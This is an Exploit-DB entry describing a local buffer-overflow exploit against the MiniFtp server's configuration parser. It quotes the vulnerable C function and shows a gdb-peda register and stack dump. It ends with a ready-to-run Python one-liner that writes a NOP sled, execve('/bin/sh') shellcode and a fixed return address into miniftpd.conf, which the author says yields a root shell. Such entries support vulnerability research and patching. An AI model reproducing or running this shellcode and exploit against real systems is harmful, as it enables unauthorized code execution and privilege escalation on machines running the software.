Exploit-DB #46807
Description: MiniFtp - 'parseconf_load_setting' Buffer Overflow
Type: local
Platform: linux
Date: 2019-05-08
Author: strider

Exploit:
# Exploit Title: MiniFtp parseconf_load_setting local-bufferoverflow (318 bytes)
# Google Dork: None
# Date: 11.04.2019
# Exploit Author: strider
# Vendor Homepage: https://github.com/skyqinsc/MiniFtp
# Software Link: https://github.com/skyqinsc/MiniFtp
# Tested on: Debian 9 Stretch i386/ Kali Linux i386
# CVE : None
# Shellcode Length: 318
------------------------------[Description]---------------------------------

This exploit spawns a shell with root privileges. The exploit will be written into the file miniftpd.conf

vuln code:
void parseconf_load_setting(const char *setting){
while(isspace(*setting)) setting++;
	char key[128] = {0}, value[128] = {0};
	str_split(setting, key, value, '=');
	if(strlen(value) == 0){
		fprintf(stderr, "missing value in config file for : %s\n", key);
		exit(EXIT_FAILURE);
	}
....

The given var settings is a *char and will be splitted into key and value key and value are both 128 char long and settings can be longer than 128 + 128 chars. this issue will not be checked and stored. This causes a buffer overflow.

after return it 

-----------------------------[Gdb-Peda Dump]---------------------------------
[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x48575250e7894851 
RCX: 0xffffffd480050f3b 
RDX: 0x90 
RSI: 0x7fffffffd3a0 --> 0x[PII_REDACTED]909090 
RDI: 0x55555555c854 ("download_max_rate")
RBP: 0x50f3bc08348e689 
RSP: 0x7fffffffd460 --> 0x[PII_REDACTED]60 (<_start>:	xor    ebp,ebp)
RIP: 0x7fffffffd481 --> 0x[PII_REDACTED]909090 
R8 : 0xa ('\n')
R9 : 0x7fffffffd4a0 --> 0x[PII_REDACTED]909090 
R10: 0x83a 
R11: 0x7ffff7891520 (<__strcmp_sse2_unaligned>:	mov    eax,edi)
R12: 0x[PII_REDACTED]60 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe200 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7fffffffd478:	imul   esi,DWORD PTR [rax+0x3d],0x90909090
   0x7fffffffd47f:	nop
   0x7fffffffd480:	nop
=> 0x7fffffffd481:	nop
   0x7fffffffd482:	nop
   0x7fffffffd483:	nop
   0x7fffffffd484:	nop
   0x7fffffffd485:	nop
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd460 --> 0x[PII_REDACTED]60 (<_start>:	xor    ebp,ebp)
0008| 0x7fffffffd468 --> 0x55555555b5b2 ("miniftpd.conf")
0016| 0x7fffffffd470 ("max_per_ip=", '\220' <repeats 189 times>...)
0024| 0x7fffffffd478 --> 0x[PII_REDACTED]3d7069 
0032| 0x7fffffffd480 --> 0x[PII_REDACTED]909090 
0040| 0x7fffffffd488 --> 0x[PII_REDACTED]909090 
0048| 0x7fffffffd490 --> 0x[PII_REDACTED]909090 
0056| 0x7fffffffd498 --> 0x[PII_REDACTED]909090 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00007fffffffd481 in ?? ()
gdb-peda$ 


 -----------------------------[Exploit]---------------------------------------------

python -c "print 'max_per_ip=' + '\x90' * 278 + '\x48\x31\xc0\x48\x31\xd2\x50\x49\xb9\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x41\x51\x48\x89\xe7\x50\x52\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05' + '\x80\xd4\xff\xff\xff\x7f'" > miniftpd.conf


 -----------------------------[how to run]-----------------------------

run the line above in a shell

run MiniFtp in gdb and you got a shell